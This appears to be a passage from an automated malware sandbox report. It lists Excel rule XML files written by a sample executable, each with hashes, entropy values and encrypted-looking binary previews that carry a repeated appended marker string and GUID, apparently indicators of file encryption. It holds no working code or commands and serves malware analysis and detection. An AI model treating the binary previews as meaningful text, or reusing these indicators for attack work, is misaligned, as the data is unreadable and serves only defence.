SHA-512:	A245E2EFF7F9A2B9B4176F0C4A2214EC05EF9CDA642662A5F8694F8296C2343A05DA07DB6791AF5E301DD47DBF5824D45441B5850A4A9141721EB96FFAD0C8FC
Malicious:	false
Preview:	<?xml.%.=... .px....hyz..R....Xj..)Z+._....p..Q{;........>....Q....8..a`7H.Tc..SI.../TE...o.@...].J=G.l.5.X...E2.+....4.?b.Z...6.8.o...b......=QI.k-4y<......$.B8.\|...J..lC...X`...I- .I..q..ua..a.............3B.=yj.V#...<...e.U..m.....4]....=..m.s.....urd..sw...VT#...(.G..Ap'.m..[ ...H..3W..7.M....7...!1..v....a .d.~.3.6...#-w-b...B....W ...n&..(...[...N.....,.._...C^...9.....o?.D9.>....G.............n.....o<.T;..........PQ....M../.H..pBb...p.......p....$.......Df..6o&...@...q...+CS~.Q.qKB.El..[. a.....,._s?9?.....5.r.W....P.&......MU...=.!s..n.kU6.^.C9_/Q....d9.....M\vj.l....."1..,.:...j.8...8.$)0....?.cX.w.F.T....Z.Xj.Bz.n1\|..Ra...B/.5.....!;.A.=...Q..tz.....A.A.Q.w....k..i.JL.vYp..... S.~..F...Y...W...j..=,uH..f..b..4.V.[Y...D...`.p.r...w{.........e_...Ek. .... .....BS;.R$..A\..O.;#}$.x.J.?.<1....<.....<,B.K...HS5A..s.;.]...QoIa...AR(L.t.....g....W.1.Z.G%......k.?.'...d..0q..g=G...S...S#.....eP..i..f9.S.,...O@.....@.F..g$l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.93980685168004
Encrypted:	false
SSDEEP:	96:HNi5IXn9lWAp3t+tiytBstIGXC2oLSd60jk:WIX9xtoJoIGXCT2lo
MD5:	0D058C9A75A4C3375A9E7055DFD90FC4
SHA1:	C30E2890A1B2556FB71DE2A8E5E8726B43E334EA
SHA-256:	C15A65BE427C793ED53E81CC8840521D0CA1E4D2F47007001820F05776110AF5
SHA-512:	9DD4C10025FFE8B2CBF899B0C1FFE6089518FE9BB4460E087921080C2276D42E51BD1F2FCD806783A4280C2A1A2E2A2DC55FD9730CE9B6D9312B3F11AC8312FE
Malicious:	false
Preview:	<?xml....t..............`..%.G...z.u,.&ks%).......aN...Jd..[q.I..:..R.QE....`..W.m:.n.N..B.......('...:...M....0.........i9.%...'.k...'$.~7(Y..P.....rW..e~...k.`.%...X.....r..\|.......=.t".F...IH.i..'..fh.....M=.....%+.L............pS..V..=.7............:Y<......>3..po)......R..l.._..g._S.3.Oa..;$.v.....xjP..K.Z.0....{m....=. .X.,%..k..../..w.v.!J.f...n...j.%tf{.....u#.........x.j$l...c.x..g.Cp.^...NXT......@..(....9...W.j...F1.h\|.\|.....<R8.)..F./...e.(.F~-.Y....S0..N`. hb...G..cX..4:{..x...M..N.......h..).@,..............y....Z.oL...n]..E..........M.5..g.....`-.^+.n..c4.....P%m.`.C..YI.\|...y.......J..1..`..h.Kv...'...z!-}U.(.\.35..jlg..J....A3.I.y.R...J........\S..u.....QP.F.w...l[..4.).....3..z.0.)....M.............".b.=6.ra..~..C.Z.v..PL.....s.w.....\..``..Lw...5.........(..5...U......}...h.F..P.P..@v3..$.Ck3.+.9..,]...QX....AJ. .v.V..S...(&{.....S..e.I...=.R@J=.W.Hc..E..)O...B.................[.~.M.}.D..+/@.T.9........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.948047181360718
Encrypted:	false
SSDEEP:	96:2n9Dv4NlbnMwPJ1l9re5Bit4S+/FD96Wr+VHIHJqfw0:mDv4/9KQ4PFonapq40
MD5:	2F055FBB891AA798C1408CDA178FCC4E
SHA1:	CF73136FAAFE3E8FD1617BF2EF2142CAF49D8FF4
SHA-256:	4D170F6758517B770C45335BBDC6D20336F9866F556A0038C501D8E5A6D6416D
SHA-512:	832C971F690D119A790C4C5ADFD2FC4563BB8169B8166281B3B6F272E4E8CBBA72C22CF4F2BD46CAE3D0CB09B01D46EF7FFC9A7A61647FBB54DA286EC5F7A644
Malicious:	false
Preview:	<?xmlr....u...}..........=.Bi.d..kP._#4.....$.>. ....[X.ncj...o..;.{{t.._,...s..5b...D .0K..y.{.......[^.%........~......(.....F....B...f#..ti....G....ao.-~@q.....b.k..v.d.Cc.H9+........66I.B.g.%...X.....;..S...3/.~.-....@.qL..vM%..K.LZ.d..w'.$.=.'\5....K.t..8F.iZ.....p..xLV..1...A..&...+c'...).....x...lj~\....H.n!d.>...d..QS.....W7j`..s.G..........'..."B..G(b.=..l....D...t.....^..>X..bp"....0%.....S.-..G;...2v......R......n}.Sz.h....B.v..5j..A..x.K..!.6.k....Pk.&.S...E.@....%.X&.\@c....8kHHw%...\|[>5..Q.9.U.qRI...%ZM..A.I...4..F.Sj.qi...9.'..r.......6..9.^..~Z.kx\.Qn...K_QO......e.s.........,.<:...L...'..m..{.0.'.........b....y...c<wk..k{....%..o.c.6....@.k[.d.=...v.kjx.....K...D.V{.e.:.......%;...Vc`._1......re.TuNI.g..;...".^oC.!t.RX.vq.U@...6....=.:.1:...Oh.b.-.....$X....A...C?mq.............Y.....0rJ.I.~....D.RV..t./....T..&.E..O...C)..z@.P...1.&.....m..R;........XOE.d....T8...C...N.0....Pi...kA~.U,....3..d...a.a2....@....<.@....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.924959163021804
Encrypted:	false
SSDEEP:	48:2cqaQ6BlX1UbEcLlVHsU9yfmtIO/7gnVS5u4HddWTEmmC9xwd4POsD:2czBjWEcLlt+Cze29dWT3L9xwd4WI
MD5:	D799D1A2A467D75DDAAB0F5C39183CC9
SHA1:	81479C3CE01BB48032E4C265019D1E1D7A19C2E7
SHA-256:	8315E6372E6B4D2DEBF4088D2909BA38CFEB77DE1A3E8B521D1EE4D5ECFFFB35
SHA-512:	3D639848593FD2B1083BBFB4D976A8DE0366907E7200FCA1D210F544886CAF507AD5795DDDC870A6792BCFE061448F8BAE75979361C34004E740ADE8D71930B7
Malicious:	false
Preview:	<?xml.b..'ao.3=6.;.zne.r.q.t....H.i....Kk;.D{..cN...+.z...b..%e$Z......Q.s.........~..^..3.......[z.@{.8..G..245Ii..p.<.H.~...c.[t..-w...yA1+=~..X...g{..$.dK.'...7m..>Wr.4._2..djOH..s.i%~.c....R.7.{t_.b...k.,........l.. .....W...U/..p".`dsQYah.`.M.M.^c.14..wp6._..#.J..g.....C.....t....$~M..Bb..&.`/.... #.5vS.E..M=.g7m..~.... @..&zkF.[.\|`....S....f=..1.v<1.B.j&...g..W,.b-..{.x..-...r..^.eP..DM.;Y.Zq.........Ii... .......JF!pH...R./..;j..ij4ml..".E...-.N.l........5?.T....;.oV.WJ....=...2.h.+d..ZqQ..}e..?c.....>*y.$x......'..I.-.,:r..k..y..._.....#X...O.o.....li.._....K..]-..7.l.n...DP.."w..DL.....Q.".!.8.B'W,...s...!. .-/.>.?...\...C.q...(......L_.-..7.p.9,....K?..N..).{.N....0$.T.,.]...L-.Q:+.1uF-....1i%. C.....R..1.l:..z....k...=b.Vx....n..G.%.c}E....G)qt..T.R/......(%...\|...Oi.v.F^UU..$.{.....<...~.....[...E :".3......{.2<./.K.=..;..Q....N.+I..=...Vfu....MA.#.@...5.>oB....._.M.il....r..c....9.5W..PhR'.:...j.\..@..3,.\|...W.<....2.>..:..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.923150866754886
Encrypted:	false
SSDEEP:	48:GUmf/x9U9+lcuWHunLI1GZ9gXW172MjgxWotfN1fF9sePvIpsq7rD8F4NyD:GUhQWHK8+9n1PcWgfN1dPP4rK4Na
MD5:	744866CD4A50142BC315C47A5E618265
SHA1:	E078B992DBA22FDF2D018021867D88B9E5E27E2C
SHA-256:	3F403A75AD35FEE56E515DCC5D5CDCA48731AA9DCC53E4EC0F2597BCA72A2D2B
SHA-512:	BB93F8B3432BBC4B671EB1246433007792191EC9CCDA437CC8DAD809E0723DE5FC870916EBA9E237640B4DAB4E10F137435CB18969E1CF6BD12A3EA4857A7AED
Malicious:	false
Preview:	<?xml@E.>.+8.....-. =\|..z.C....>.k...%..q7..R~D..\|.3.F,.[q S....A..4k.[.B.U.t.{m.Kw...$JH.6.. yt...h....K....p..L8.X....Q......@..E..O.]..A..'..-.C$....<P....PA.K#..l.].X.J.E.8....J..Q..=+[..iJ.N'...xh{...8...f...@cr\w....Vx:..SK,..o......(G.<xb..o..1<.qTDR.. .i/.bNX...=....U+.2.F.........-....$."%..$....~Q..,_.........?L.m.i..=..`..M8....FU8.2...oA....o'.e)..8u.J.F...z.w%.U4x...T.@.r..4.B.W.....W.....,..H...C.:(........./.X....n......Me...Z.........8.n.2G=g..a..\.Y...[.x..../..Q#G..KN...0g:..-.(.]......i.......xO..i........k..].@5.Yk.4[.L.&...<..4.=.,..T.........{P.;.AaR_.......T....l....+.HbS....[.5.p/.gn.........r....(..Y.C....Q.rW......].D^....*l..t..v.....p...WG..su.(.6...e.CY.MjC....]\|.qH^\...E.jE..N.(...h.:.........o........o..T.k.t..s>.R..$pjL. ..e-2.E.B.Sc.`=4C.e.m....5%......7R;..S.n.R..........v...9U..HN.XF.....F..V.".k.C'.Jx,...s.Y...h...e.n.k...%.pms.v......P..j.L...3.D.{z.u...X.:(.!..6&.gAe..o..%...t..-[...k.-.b.5..+..GPg.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.70470142384675
Encrypted:	false
SSDEEP:	12:AIQTJ1rbXjfMNzmNNeULg8ulHnyinXbH7AsM0GYDkzKClWpsp2r1+cii9a:ApvbTEx56RabnLbAs3RDOopsp24bD
MD5:	50A1CCD0E44F198D4C2E6549E147950C
SHA1:	0640936069B134D1AA8ECB64E9DA59A501E0DB23
SHA-256:	ABB48CC5DB32943D157523B7E11035522E52598469489BF21D95CD2AAF27049F
SHA-512:	A447081C6F142AD121398FC419AAF024425B8F1BCCE544E32B38B3BD9572D15682D66C092B05BC9ED13EC5E6D0E9F807DD7ED1C6C71DFF5F462027A701099C19
Malicious:	false
Preview:	<?xml}.. ...}...;...$.........V...<...2..k.zV..Z....wm#...e[.\|.b.\|.;/...@..J.#.:.......nN....L...Ow......V..@cv....o...Z.N.b$[....{..f../.KN..X...&U.......x/....X...<\|.89...p../...P.a.14...q...l{..$7..TW._.(.QA{.....R....G...7.D..s....-....Qq...p..)"..i.6.e...!..~(........3.8.M..{...u...;.../.........B.^.F..J.x..(".3...2....\|.~..../.l..,.!.[..vd?.&;.6.....5...x..%"....}0..Wpp@5.5...'..>.l.>vN;...KC..L..;7@6.ga....p(....n.{.H.<...V.B.. ......~..t.7.<.l!!...dBK...;.....7T.. ........m5:.kq.U=.....VH..%n..J...._....ubQ.D.l.5Z;..-..i..*..`+.p..<.C..1.5...p.KR...~I...Y.k..)...[...D{v...1.J....sa>..Oi...4}...9..'...sD"of.I.\..v...@a..v...d.p..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.840138240198297
Encrypted:	false
SSDEEP:	24:wRT2pBLGHIWloUC+CPm7BY7zyUDA4oIpdlm/trflb0ZiDbD:wBCCHIkoUC+CPm1SjA4oIpdlm/trdb0i
MD5:	EFE1532308E3502CC2235DD85EBED5A1
SHA1:	17DD4FFC6BF9118A161FD4B49D4FE5009BD0CA4B
SHA-256:	A67038C9BE6E48B8025B3635A922E2F8DE211A30FBF771E09CEEA6B5A3455E8D
SHA-512:	5423C40F05BCCA548F38A111ECE89329BEAA561D149047D1BC3F5BB0C060EE5843A55793576D5BC45D7BA391110636EB7A68CEE07020CDFD963565210A19BE1E
Malicious:	false
Preview:	<?xml....m\w......o...U...&...6..7w..H.....{..x6..g.F....M..A..c.g..b.......o}M..."{....N..H. ^.$..rrs.2A........,..K6....~....gw.4.#.o&...?..../...a.T.y.m.....H[.P:.]~..... .........r..N< .Cx.....U..YJ..p...?.=/.5..9......}C.x....\N.K.q.....(/s5..\|.4i....R....X.j..0......=YXqA.;n.N.W..ftW.....j..<.1...5z..<=H.W.8 ....l..nN...Fb..h.j....3..a..r..7gw..X..R.\....T;....M.......F..e...k.jgp^\|..(.y...../..x.....]H2. ........"?.h..~.ZeZ..Y`..\|....3..$k.:...i.^.F...O..3e....Q...eEf^?...D.[.I.....[S.Z>..O._.....v.}l^&,e...[...D..=2./.....n..#$].%.......z?}.....6.l..8........\|..[Y......=.a#...%..`v..P.;..).aB..$I.q...](.7....(.Q...w...I.<iP.E5....-JDv`$$...z.w^pTe....l..........o.....R@c%.f/..{ycI&...1......x7z.'....jW..z.!..f..[IXI........^f..^......x.p..x.%J..A....G6.-=yx..)-VA..b.R.....o....Q>....f..\.y1..4\|...NX.. ..4..E>n)..T.7'....q...y..y.......(.[ar.q *.-..:G.d..k...U.N...Yu......<.o..O.HB..w.....P.(=..K....".l..b.Y.....w..C(....1..@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.592039079871087
Encrypted:	false
SSDEEP:	12:a+siR31bOd4zibS/Xy3s34uikxcM1+cii9a:a+R3gyziD3soFkxcHbD
MD5:	51E9A1B84E3E66CB4745DB8EC1769E67
SHA1:	987D07C9893E58EA493C11E408C3EF812AA342AA
SHA-256:	C2B851DB18294B79DC0CC1A16B417C23254F2295389825B403D8A6243ABE39BF
SHA-512:	901A4D6911A77F317E72530F7C4934A3D3F29F2B5A2DBE56BEF27E4260DCB174A34658BD5BF6EE10D567DF1628216ABC4B4AFF5E186BC145858C7170F96BD549
Malicious:	false
Preview:	<?xml.s2.T%{.k.....R.~.'........G!..n..}.:p..qL..f.).......X......DW..",B......U^g...$...h>..X.0M~`..<..}VI`.c(...]..4..I\|I. t<...._HV..3.jw<Bv."......<W6...)...?!..9..u...L..?.1.x..U...%3.c.z....vp.&_&.F.!.x..~.;.T.....0@[.f..f=.jQ .(.5......tTI.2:.'.A7..a."......z...`.)...k..9...P....H.U..,......r...t..E...l..e.....u.-l.B..SaE6.].S9.-..I)........R.g.B(n....$4 n...!.k...n!%.r..M...I.{..+...8..{...s...Q_'..C]....X.$r..w.2....s..nb.%.^SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.932107463258798
Encrypted:	false
SSDEEP:	48:UV6caccBjcJq3F1fJn5YKZBnagyiWbllXWwZ/k2mrqi+XEPD:U3uFsqFNJmKZ5agsb/WY+
MD5:	CEA8BB46D8E39CB20EDA642AF250FC27
SHA1:	8CC96D9D783F7257DEE7073DAA40CC8930A7BFCB
SHA-256:	0077D3F323E92D980A7B33D45EB2599D24D64CAE4417D4714B68CBCA972BC3AD
SHA-512:	3A5149B7328CBED18D03AB2CA45F8246AC86028C59F02B9BA4475BEF64EA77441479A3FFBFA7CBC5E09860DEEA9F34FB8F40EDA382B4EF3C95631DB5E9983B64
Malicious:	false
Preview:	<?xmle...'_..HQ.o.>....Y.?.."[.4..... f.=$v..[.....t~.0..e.....f.eD......7.k9U.`........a.....jL.a..x?...;0_H2S.D>...e.,.e.Z.W.K..Nf.~...l...>..yY.~....;...~...9..@..=..t..{.".+.lz.0q...V..i.X..0....F" D.yC.j......Y....6^.,..g..J.Y..5......n.iv...G;......h.=..\|)\|.POF....Lj.9g.p....l.d~D:[(..'..j.r.9....W.....~...^..Q....$Y...~....\|?}..B)cSoi.........Z.. .!.\|......:.......Lr..'O. 0..QD...uY..T\1......nG.I..<....ZhT%.E..^...R(.eM-.+.PY.F.q....{.G.}....E..z.....aH....V.S.o....{.J,............V.[.#...Z..Z.:.4=.:.=D>i.C.S.$B.H!5O_.C..c;A^gY.........X,.5.._......5_E1.qlFFw..R..E.k#.O.Q..E.x.%E.q..9.... .!.`.8..2..7....C...NKn/.......].........V-A..B?.:.g#.i\|...&I.T.4t..[..Vc.\5.......1...F....@a\u..o.....X.@~x'"M....(..eUF{..0..$......`w.).ys(8...1....DR.b/..hu....z.+...h\t.z...{....S-..S.2..s.....u......g..4.b......._QK.[....N".....!...s..y`.P.!....>1...<....~.).<...zLS.8....d..]...s..-P....f........UT..o.-\|.<p.1f....aH$.R.4/........jH4..s...1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7436602703496735
Encrypted:	false
SSDEEP:	12:r3oX+yfNOgmLIqDzCbu2j0S9Mm3cg16VOniPMPNJT6PntON8Lof1+cii9a:r3yfNOjLPCbu2P9Mm3cgMVbPaNVN/sbD
MD5:	3D765595F06A4DA75061DAC06D669390
SHA1:	003B5735832D560AFC931389F3811E673DDBD97A
SHA-256:	552C5BC55D2723429247637AA0F56FB6087A1E269ACDF96EC69FA3BF6C01ABEE
SHA-512:	E5781962383DE9B27BCDA96403EC2E8630F0C67BAD5B1423CE9466ADD40E8ED95BF5F632050E612DBAE1B161921BFA67B96573186645BC6A7D2A4BC84099059E
Malicious:	false
Preview:	<?xml..4.......X...Tx.....@x..........I.......%.....X..K...a7@..... ..{u....p._...b..1E......2Y.......H..\|LF.a.o.........[...-8.:...p.SC.G..U.(..t2o.7.....&W.....#t....Z...f.%L..V.7.i.....j..[....g.Vr...>>%4.2Uh.....0.....ZA.!.@).V ..[.....g....zu}..J.RI]...v8.cNw$A...q7..I...!.......k....\|.d....7.6..zx..h........+.V"i....Plh-.;6CBF..CK.5...Z$........=j.[\|...5%v./v...j..]..8.n.N..p..XY-P.X.s,.W......0..m&.....(.P$....}.'U&4.w\lu: ............S.$.+.'.Z....J<.H03.:...y..F.#.+..v.......?..H...k8..h...b...g..'.......$.X.....Q....="?..P)..J}.$}.R\.N.;.n...]...E.>e.5e.(...z......ah.G.8)..J.1.?.d...........9...$...#.......ZSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.712256753101737
Encrypted:	false
SSDEEP:	12:+rHC3hlasF/S58j0aaS3hG/xGtRzkmpagx/LgpkUIcKpc/1+cii9a:+a/apadhQxGthkmpa838CDbD
MD5:	89CBA0FCAE11005D2E33B8401EAF232D
SHA1:	4B7A86E1813CD75C4805DFF0A49CF83F76858B66
SHA-256:	33BB6AE2D81AA7BF4D279698E3FADA16F981FF10D305995F92F7C0655D77EEAF
SHA-512:	F37A1B2C42F2D5364B2DC0730B4B596350D230F9CA6715CB74B8BAB75CF815CC74A2F1D582E057566C796CEA3AE7F73BD3B8CBEE156B7EAA19EF4BAEEE5DF108
Malicious:	false
Preview:	<?xml........S.;.p.B..7.....[.J.lbYx.,...;_(.3...[..7(.}...g.qQ......Tqt.....E.Gn.R....X..e..n..7.;+...?.^..?>d.@v....VK3....6.F.xfP..\"...n..D._.YkD..@.7I.w...v.........Ds@.L.N?.-...hk.%..1...".b..E9..O`..m0.zu..O.;}.U,$.0Ur<.._....b..m.u.7.zT..4`../F;.....<>.iV.5M......%...k..@i5.Sn.hrs...K..8z...O..T./^.Kb..........0.'w..A...`...........qM...IR_..Z......x .........=...7.]..p<.Z...Lf-w...D<.....R....L...2..[g.?..........L..u..m!..........c*.{S....s..B8......f..H..tv_;...4.L.L.......)....pHs.Z..3.qe.....Y....g..b...$...._...;......./&..]@.......HM......v.z6..:t....Ny........!.m./..s.X6..=P..t...}D..Iw&......].WwI..(7.Hg[...1}..B.T..y[~..j...S^.)...@AS.....i{.k .!..2V.k..j%\|SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.729407521171666
Encrypted:	false
SSDEEP:	12:wBq4hve6O2D1PJt/U0GJ3BbU9mQfqG3QWIHfxF2oyb7N4Lee94At1j6xH1+cii9a:wBqqvQ6D43BbmnCQ8fuoyb7eHGxUbD
MD5:	36BF3DDDE583846FCF26B9155104CCB4
SHA1:	CD067B31C63DA4B6FB9BDE813F6F065B5A04D837
SHA-256:	14FAC65FBE192B4B400EC3739E53419209E70F7664C13F7BDB4258D616138555
SHA-512:	E95C56448639158C898808DBF66AD4E2048E5FC132E832D60B61A2DFC3DDCDBD61FDBE5BE7F3413FD2B8CB4BA2A3A422987E379C91F18975D73C88F098637634
Malicious:	false
Preview:	<?xml.Wq.VS..:0 ....\|D..3..Nf...w........).rza..s:^...Oc.S\|#/.....+.....5....X....v...)...:...?....]j.J.0....6.........#^.b......,...4...`.d...d.o(...zU.. ....7..H.w8l$....l.......kE.5._...[.Uv.....]^F!.f...B+..."..+@6.;.........g.......>..jw..B.....%.IV.VAN.G`.9.r.2{.hR..h.I.Z.>..I.L3.7..?M.xQ.........=..a.....K..#.\|rH...irwN8Ae....p<..u#`ya.....X......l.2...rT...X......\....jU...c.!...F.\|..:A.MN9..=.S.dm...1l..i.Afe>Wq.^)"HN.{p/....-...:........'.%.X...I.#.6.a...(.....\,...@...E.w..Y......S8...5....vX.\|_....b..j...$x..;z...+.x.........{..9...*.......n..f_....!...g......._+..^.,._NH.v;v....6.#}....9....42...k^96.r}.i.:.R5.<...[SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.715014128126593
Encrypted:	false
SSDEEP:	12:AeZYmWi24hpQ5SpvN5byUa1qIdazHq/TSEeX7hk99CcGE8zhVvMUELV1+cii9a:Jk4C0N5b1a4hwahKCk8zhVvZbD
MD5:	55FE6B8C4848D8F0FE0CCF903B23E656
SHA1:	755A776378A983039B46865F1999C92B23783B5B
SHA-256:	DCC3FC4FCD5B120EC73C874AAEAE16CF7384D8C55921F039406D3AED59D670C4
SHA-512:	275A9DEE41BA4813E00ACFA0D79800C71848DE0FC63FA234A487392A7A8BD277E72474B682F339659C36C97139604D569692D83A510C905EFDE189DFF4780DA7
Malicious:	false
Preview:	<?xml.ql.v...2].3..^vD.u..D'j..L..5.j\;.."N.gr.^../S.,..>.o0#\|....g..%D..!...K...F...T..)\|).W...3........w.....q..t_...8.5..i....NXI.L.-!.G..e.04.uv..._8.3}.5..lDg'...+..)'.r.z.4...AN.S..L......M.80.I3.IB.......J...B.]C...&Z....B...b.....o....../..Oc..1.Ul.gF.......19B:..UjQ..>.../.42.v...u......VH..}SL.w..Z.f.W.....?^\0t........@..[Cr..'............IX.b7....`.......5.To},...y^5..............{.m.I..f...+..n..(.b.{cQ...[3.%......r.<..`..w..A.#...}.....>..d.k8_.r...6\|.LU...nO2]..~O@.o..p....y.....9....#.9...SV.V..@V8r.f5...hf.@..^.i...B..qbU....p.........'.Q,p.Z..]3.q"....Efk..!9{..'L=i2.Y...'....`m@.~.6...%.upA.V.vUj.@2.E..!....PJ...........:`w.*...#....!...P-.:..\|...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.786002184120619
Encrypted:	false
SSDEEP:	24:hlWFs6xqfcwUMRhTaWk1hNWZQp4GlWHWzdh8UZPuijbD:hlqs7cwxRdmhgZQptW2Rrmi3D
MD5:	B1737D33B2E0A4B576CB5042E57ACE51
SHA1:	3A895967CC65272D41BA51DA6BE2676C7B10EDA2
SHA-256:	6274CC55D56A37B57F96D1FD2442E7700D115782E2E824B533B9212B07B6CA69
SHA-512:	04920EB26E60C896069CDB2E0F2BAE7C0B0B27D21441DB8EE4587955B7693A9AE7F538362CFE84EA8B7DB01292C2972DBD68A4D2A480B60B619B28578DD36172
Malicious:	false
Preview:	<?xmlK..?.......eWS..P..s.....5..F.f.......Gs.?}...V<.3pX-.+..j....mQs.(....+h.(..M...k...].0..S...@.ED#;<.4.....i.q....>.....P.!.....55`....v'...ha......;...Y.\|....q.).R...O...".Qe.]`.n.,n.(9.g0.\...d....U....]............c8........Q.x.......e+E.:.T.lD...&.......:.5}.Z..t...Z.....W....$..+....]...LI..S_.Wl.....`r..>\=d....k.1P.......o..BUr'.Y...5x....9..-...5..;.S...I@.;..E.i.$"....gd..J?].....v....D.W.o.p..e..5SH........%..w,.t.2J.Y..;..}Nq...B.iD....t..a....wq.&O......5ZW.G.+2d.."...U$s..7..<..q...X.......WpE....../VY"..H.oi.Mb.>`f.y.<+.C<}.{R.L'V..Tpb..B....-p..3j..{...^...I.0qf.'.<.<..#.Z.hi2.[.o..\Yyp..jN.A..%....GC.K...w..#.....@]...'...n..]..9H. ~c..s....1.`...0"... .X&....=....b.....*^..N/n^G.QHfO.h`.@.,2a>t+.DG....g.J7.E..Zh.wq.p>.%oZ...V.FG%......7...G..G..\..\|.-R..S.<W...;.E.?@...=9\|k"!>t..ip.f.....3..$.......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.715805903580284
Encrypted:	false
SSDEEP:	24:7SWgLppg2qL1zbqBSxrSyNEkCmhBgI1ltADfOAbD:+ppqhnRxrSyxCsOOltADf7D
MD5:	7EC16530C4237629CFD62DD7F1EF077B
SHA1:	B211C92BD2370EF4F84B83A4B555C74EAA8A6634
SHA-256:	AEFC266D46083956B85F26ECD83C8DD3A8440FEB41B3CA9819535082A4DAB761
SHA-512:	F06C3C36AEE6C66E258F73DEC39C812EF147C3C0D25F91EE9A6949E6B40F8C8474F2B295610191553523BA8A1B701799628A718D2A42A13E2A7925BAE7A69EF8
Malicious:	false
Preview:	<?xmlc..~.}...o.<ei.2..5P.hG.\.A.8_S.J..O....F.....G..`...k+w=zq...k..%>..fq.5.D..gqs%.=6.5../...Da.@..L....fS......G.{I..S.5.....v..h...,G9...r..I..?HAo^.`x...K.9..o..E.Q]g.r.v.{..J5....q......b...y8+kj...w8=K..[.....[$.@..5.H...,.o.......,k.}Q....q.i..6P....a(p.?.....P.3.T...o....u....R.......D....e)x..D..O.p..D.f...Q...'....R..y.\|{N.....Q....C[.\.G).\.&...ipg..s=.py.8...K'..a..........o..I.g..t.f..H.F..$......T.J...W]f.X.^.M...&..@.z...J..^.n65<......W.B".^...lg..E.v.J5.fWk........)azR..(..9.syZ....u...;..y.4...C>W.M.f....)S:.,.e.\..':g...M.. .Q.+Z1...L{....1\ .1.7mk.......@..=._v....h../...,..i..q..........B5...\|...4.i..e.P>g..A..Un..ti...ir.0 =.e..8p.*.r!cY.... ..USLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.662918612984524
Encrypted:	false
SSDEEP:	12:GU6AAD4RzfF8DR9D8URjz8tzCQDNBgr5kr+H0pn/nJc6+4GaI1+cii9a:GUR5BfGPR5z8tJ+5k6si/ajbD
MD5:	047128259E564BB67EDBD4536D84EE2E
SHA1:	5F2A90B855ACAB35563FC96FB53B4DDCB9D4CDD4
